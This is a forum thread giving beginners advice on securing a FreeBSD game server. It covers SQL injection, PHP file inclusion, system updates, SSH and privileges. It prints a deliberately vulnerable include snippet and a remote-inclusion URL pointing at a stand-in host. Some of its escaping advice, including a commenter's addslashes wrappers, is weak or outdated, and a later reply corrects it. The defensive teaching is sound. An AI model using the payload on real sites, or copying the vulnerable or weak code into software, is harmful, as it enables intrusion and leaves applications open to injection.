Guide for better security!

[Vanilla 1449]

Hello dear minions (oh how I love that one!), for my first guide I'll try to talk a little bit about securing your server. Many people know it: 3 weeks after your server started some wannabe-badass wants to break in. And maybe he'll be successful. It depends on you and just on you. Within the following text (yeah brace yourselves, this is gonna be a wall of text) I'll show you why it is so important that YOU get up your lazy ass and fix some issues. I wrote this guide when many servers got attacked, that's why I was a bit ironic in every part of the guide. If you can deal with it, you're free to read the whole guide and maybe learn something new. It's mainly for beginners, but some experienced users may get something out of it. The guide was published with minor changes long time ago in another board that's now "dead". Anyways, let's get started!

 

Securing isn't just "lul I copied and pasted it, now my server is perfect!!!111oneoneeleventwelve". It's much more! Get that. There are many variables, software versions and things you just NEED to care about. Make yourself comfortable with your system or you'll go down. If you're prepared to spend some time reading this guide written by such an ironic idiot like me you're on the right track! *thumbs up!* First of all we need to concern about the most important things in security. The following things can give you a bad time and maybe some headaches:

-> You used a public homepage script without checking for security breaches. In this case: Shame on you.

-> You set up a unsecure password for your authentications. In this case: Shame on you again.

-> You gave passwords or authentications to people who aren't trustful. In this case you know what I'm going to write here: Sh... False, in this case you're just an idiot.

-> The software got a security issue with which people can break in

-> You don't protect against bruteforcing your passwords etc... Most of the cases are the 4th, the 3rd and the first one. Very rarely other things come to handy for hackers. But we won't miss them, won't we? Good. You're going to get a cookie at the end of the guide. Let's just start with the most important things and how you can solve them:

 

-> Your homepage script got security issues? <-

 

Don't dare to answer the question. Maybe you aren't aware of it but some issues aren't visible that easy. First of all you need to get used to php at least a little bit. EVERY and yes, EVERY time a user can fill in a formular or has the chance to put something in which will be used for a query, there could be possibly a securits issue. Why? Because this method is called "SQL Injection". When you fill in a formular, you can (if it's not secured) manipulate the query by adding some things. For example you can let the query execute a command to create a new user with full admin rights. Nah, isn't that fun? No, it isn't and you shouldn't do it to others. How to fix this: Everytime a user can access a formular and his input is used to query a command for mysql you need to force him to use only valid answers. But how? It's just easy. PHP offers a function mysql_real_escape_string() You can just use this to clean the input from a user so it won't harm your mysql server. Make sure you clean EVERYONE of these inputs.

 

The next thing are file inclusions. For this, please forgive me but I'm using wikipedia as my source. It's just a good example:

<?php if (isset( $_GET['COLOR'] ) ){ include( $_GET['COLOR'] . '.php' ); } ?> 

Look at this. What does this code do? If (maybe by using a formular button) 'COLOR' is set in the URL, you can simply include files for your script. BUT! Be aware of the risks from this code. Everytime you include something a user can manipulate (maybe through inputs or the url), you're going to have maybe a bad time. In this method the value of 'COLOR' is written in the url. GET's can be seen in the URL (At the end of your URL there should be a ? and then the following names with their values). Let me give you an example. If you open this script like this:

index.php?COLOR='blue' 

Everything goes like you want it. This is a valid color. But if you're a bad user and don't drink your milk, you're going to exploit it:

index.php?COLOR='http://let-me-include.com/this/script'

What happens? The server tries to include a script made by another one! If he includes his own script he can cause VERY high damage. Not only minor, but MAJOR damage. Yes. He can use ../../../ to spy your folders too. There are many things a hacker can do with this. What do we learn about this? Never let the user manipulate or influence inclusions like he wants to. YOU are the admin, not he.

 

Let's conclude the things and lock down the topic 'homepage script' for now. These are the most important things you need to do:

-> check your script

-> No really, check it.

-> Now.

When you check your script, remember looking for these things:

-> Always use mysql_escape_string() to deny user from executing their own queries at your homepage

-> Never let the user type in things to include (and really.. Don't use the url to get values for including files..). Except you can make sure that you're filtering the input in such a way that users simply can not manipulate it.

 

If you checked the homepage script and you're happy with it, you can proceed. If not, then what are you waiting for?

 

-> Your software is out to date and got security issues <-

 

If you want to make sure your server doesn't get exploited and you can stand attacks, you need to update and configure it. Yes, it's true. Deal with it. You can't just update every software like you want. It's not like clapping in your hands and then having everything done. You need to know WHAT software you're running. Some programs are just insecure or instable and cause your system to fail. And of course: What OS version do you use?

If you answer me '7.1' now you'd feel a hard kick in your... I guess you figured it out... Tricked, I was about writing 'ice cream'. But never ever use outdated software! NEVER. Write it down 15 times and you'll know it. I can't tell how often I saw people using 7.1..

If you don't know what version you're running just type in "uname -a". This will display the version. The first number tells us the branch you're using. For example '7.1' is a part of the 7th branch.

 

If you want to upgrade your system, you'd use the built-in commands. You can try to use the latest versions, but you don't really need to get the 9-branch that fast. You can stay at the 8th branch for a while (but please, don't use the 7th branch). Use the following command to fetch the updates:

freebsd-update upgrade -r 8.3-RELEASE

This will fetch the updates to upgrade your system to 8.3. You can jump from the 7th branch to the 8th.

If you're running 9.2 or better 10.0 everything seems fine.

 

Yes, you read the wright word: SEEMS. Make sure you're running the LATEST patch-version of your system. This means you need to check for updates sometimes with the following command:

freebsd-update fetch

This will just fetch the updates for your version. You'll stay on the branch and the lower version of your branch, but you'll get the latest updates for your system. To install fetched upgrades you just need to type in: freebsd-update install This will give you a HUGE advantage if you're moving from 7.1 to 8.3 for example. The old verions are just obsolete. Don't use them. You can visit the freebsd homepage to get information about the latest versions.

 

The next thing is the software. You can list your software with this command:

pkg_info 

or with the new pkg management tool:

pkg info 

This will list every package you installed and it's version. For software like php or mysql you'd use google to get a little bit more about the latest version. Sometimes things aren't that good with the newest version. Maybe some new bugs occur or php killed some old functions and destroyed your homepage with it's latest update.

 

If you're going to update your software, you can use a pretty good package for it. It's called portupgrade. Before you're going to install it you need to learn how the ports-tree work. It's quite simple: Every programm FreeBSD accepts to the ports-tree will be added to the ports-list. It's installation files can easily be fetched and you can just install it from there. To fetch a whole new ports-tree (like when you set up your system and now want to install ports for the first time) you can use this command:

portsnap fetch extract 

This will fetch the latest portsnap (like a bundle of every package) and extract it to /usr/ports If you already have the ports-tree, you can simply update it with this command: portsnap fetch update Make use of it!!!

 

But updating the ports-tree isn't enough to keep your software at the newest version. If you update your ports-tree you've updated the installation files, but not the softwares itselves. You can simply update the software AFTER YOU UPDATED THE PORTS-TREE with the program mentioned above: portupgrade!

You can install portupgrade with this:

cd /usr/ports/ports-mgmt/portupgrade && make install clean

After the installation you can just type in 'rehash'.

Now make sure you really updated the ports-tree with portsnap fetch update. Type in the following command to run portupgrade then:

portupgrade -ai 

It'll check every version and asks you wheter to install the newer version or not. You can simply decide yourserlf! Make sure you update your ports-tree sometimes and your software too!

 

Also the choose of your serverfiles is important! You'd better use serverfiles that are trustful and not modified with backdoors etc.. Better use untouched serverfiles and do the stuff yourself instead of using instant tea that's poisoning you. You get the drift, right?

Especially the gamefile is important. You'd either compile one yourself or use a gamecore that's proven to be stable und secure. I'd now advertise my gamefile and tell you hooow good it is but I won't, it's up to you to make your decisions. Just make sure you're using something that won't kill your server at last.

 

-> You misconfigured your software. It can't stand attacks <-

 

To secure your server even more, you need to configure it properly. Most programs offer you to configure it with a configuration file. PHP allows you to set up a php.ini-file (I won't get into this), mysql offers you the my.cnf (too) and ssh gives you the opportunity to set up sshd_conf

 

So first of all we need to configure the basics! What is the most important thing on your server? Right! The SSH-authentication. If someone breaks in there you can say good bye to your server, maybe once and for all (if you haven't got backups and time to reinstall everything). So we need to set up ssh.

In freeBSD there is the following file: /etc/ssh/sshd_config

You can simply edit it. Look over it and maybe google what the settings mean at all. It's very important. The most important thing is the "protocol" setting. It's set to the old version by default. Make sure this line is in your sshd_config:

Protocol 2

If you're using Protocol 1, people can break down your machine within a snip of your fingers. After you edited your sshd_conf you can restart sshd by using this command:

/etc/rc.d/sshd restart

TRY to connect to your server via a new putty instance after you restarted ssh! If it won't work you'd better NEVER reboot your machine or close putty until you fixed this!!!

 

The next thing is the firewall. ALWAYS make sure you got one. I recommend pf, but for this I'll write more another day. Not this time. Maybe you can use a sample script but CONFIGURE IT! You need to block every p2p port from outer access so people can't use the API to kill your metin2 server. I'll tell more about this another time and maybe add it if this topic goes well.

 

And at last you'd consider your user restrictions. If someone is able to break in, he shouldn't be allowed to cause much damage. In the best case you'd set up another user and restrict 'root' from logging into your server. Of course you can do this for mysql too! And yes, DO IT! Connect to mysql via navicat. After that click on the Button "User" in the upper menu. You can edit, create and delete users you don't like to have. Or you can change their passwords. And of course, you can restrict them in many different ways. For example you can create a homepage user which is only allowed to insert/modify the tables it needs in the right way. Why do they need to be able to delete tables? Just give them only the rights they need. Even if someone can break in with this user, it wouldn't be that hard for you since he can't destroy your whole server.

 

Finally there are some important things you should always have. Never let anyone work on your server unless you have to full control about it. This means, you shouldn't give access to your server (ssh AND mysql) to anyone except yourself and people you can REALLY REALLY REALLY REALLY REALLY REALLY REALLY (and take care of a big REALLY) trust and they also contribute to the project. If someone goes mad he can simply hack your server or just release the authentication data. Why do you think there are so many serverfiles released without the owners permission? And at least: always be paranoid. Never think "ohoho this won't affect me". You should consider EVERY option and let your attackers NO chance to break in. Get used to your machine, your system and your software and everything will be fine. Don't be lazy. Just be paranoid.

 

Best Regards,

Vanilla

[Monkey Dungeon 39]

german tut pls D:

[Cris9400 0]

good job @Vanilla

[Galet 496]

Good job, like all the other times !

[xCPx 41]

-> Always use mysql_escape_string() to deny user from executing their own queries at your homepage

 

Sorry Guy, but that is wrong.

I am working at a Company that creates all kind of Programms / Web CMS Systems etc and something i can tell you is that noone uses mysql_escape_string() anymore.

 

Check the Sanitize Filters, please.

http://us3.php.net/manual/en/filter.filters.sanitize.php

 

 

[V0iĐ 111]

@xCPx:

Vanilla is a woman

 

@Vanilla:

Thanks, this is very useful!

Edited August 15, 2022 by Metin2 Dev
Core X - External 2 Internal

[Vanilla 1449]

@EzionX: I think he knows but well you know the drill. "There are no girls on the internet" 'n stuff. Honestly I don't care how they're calling me, I got used to it

 

@xCPx: No need to try being provocative, that won't work on me. Thank you for your contribution, I'll check it and edit the guide. I only learned it with mysql_real_escape_string (which still works though not everyone uses it). But I guess it's never too late to jump on the train, huh?

[xCPx 41]

@EzionX: I think he knows but well you know the drill. "There are no girls on the internet" 'n stuff. Honestly I don't care how they're calling me, I got used to it

 

@xCPx: No need to try being provocative, that won't work on me. Thank you for your contribution, I'll check it and edit the guide. I only learned it with mysql_real_escape_string (which still works though not everyone uses it). But I guess it's never too late to jump on the train, huh?

 

 

I know that you are a girl ^^

But it´s a kind of slang used for things like that.

 

 

And also i didn´t wanted to be provocative, even if it looked a bit like that.

 

The thing is that mysql_real_escape_string isn´t a "php" function itself. It is an call to the Mysql Server^^

If you use the escape string functions the mysql server checks if there is something wrong with the string passed.

 

 

That´s why sanitize filters have been created. To reduce the frequenzy of mysql calls.

[Vanilla 1449]

Yep, you're right with that, buuut the problem is - we've got beginners. We can't expect them to handle such things. Mysql_real_escape_string isn't the best, you showed that to me and I have to agree, you're right. The only problem is - how to explain it that beginners can understand it without much knowledge about php to edit their scripts? mysql_real_escape_string is a function everyone can easily implement even without much knowledge about php. But sanitize filters - as good as they are - are more complex in that way. They can't simply use the same function over and over and that's the problem for beginners.

 

I'd of course give a big hint to it and tell that it's by far better to use sanitize filters instead of mysql_real_escape_string, but I guess for beginners the old one will do until they really want to optimize their code and make a better homepage out of it. Then they can read about the sanitize filters you mention. How about that suggestion?

 

Oh and don't worry Slang turns posts more protocative most of the time, I acknowledge your statement that you didn't want that so it's fine

[xCPx 41]

So that´s why i made a few easy to understand functions for the beginners

 

function escape_mysql_string($x){
	return filter_var($x, FILTER_SANITIZE_MAGIC_QUOTES);
}
function safe_get(){

	return filter_input_array(INPUT_GET, FILTER_SANITIZE_MAGIC_QUOTES);
}
function safe_post(){
	return filter_input_array(INPUT_POST, FILTER_SANITIZE_MAGIC_QUOTES);
}

It´s really easy to use:

Example for POST:
Instead of getting the Posted variable "var" via $_POST["var"] call it via safe_post()["var"]

 

 

Example for GET:

Instead of getting the via GET transmitted variable "var" via $_GET["var"]  call it via safe_get()["var"]

 

 

 

And if you want to proof something else to mysql simply threw it through the escape_mysql_string function.

 

 

[Think 117]

Now, xCPx, if I recall correctly that's worse than an actual mysql_real_escape_string.
According to the docs FILTER_SANITIZE_MAGIC_QUOTES does the following: Apply addslashes().

 

And the documentation for addslashes says:

"Please note that use of addslashes() for database parameter escaping can be cause of security issues on most databases."

 

The preferred funciton is always mysql_real_escape_string, because mysql knows more about your connection character set and what character needs to be scaped better than addslashes (addslashes can be easily bypassed with multibytes: http://securityreliks.securegossip.com/2011/02/sql-injection-bypassing-addslashes/). And even then, mysql_real_escape_string won't magically fix your SQL injection problems either (Read http://stackoverflow.com/questions/5741187/sql-injection-that-gets-around-mysql-real-escape-string ).

 

The only real solution to SQL Injection is the proper use of prepared statements (or well, other filters like intval for things that would have to be a integer). Escaping whole post/whole get calls is nonsense and adds useless overhead at the risk of devs still misusing it.

 

Also, I'm sorry to say that you are wrong in both points

The thing is that mysql_real_escape_string isn´t a "php" function itself. It is an call to the Mysql Server^^

If you use the escape string functions the mysql server checks if there is something wrong with the string passed.

 

That´s why sanitize filters have been created. To reduce the frequenzy of mysql calls.

No, and no.

 

mysql_real_escape_string calls the mysql library doesn't call the mysql server. And well, because of that, that's certainly not why sanitize filters were created.

 

Edit: Wow had to get my facts straight. I originally thought there was one vulnerability on addslashes but that may have been fixed now - Since I'm not sure I won't talk about it.

Edit2: There still seems to be. Added back.

[TyWin 59]

Thank you Vanilla. I hope it's gonna be useful for me and I also hope, that is your self-made core stable to my server :-)

[loyein 18]

Thank you for tips.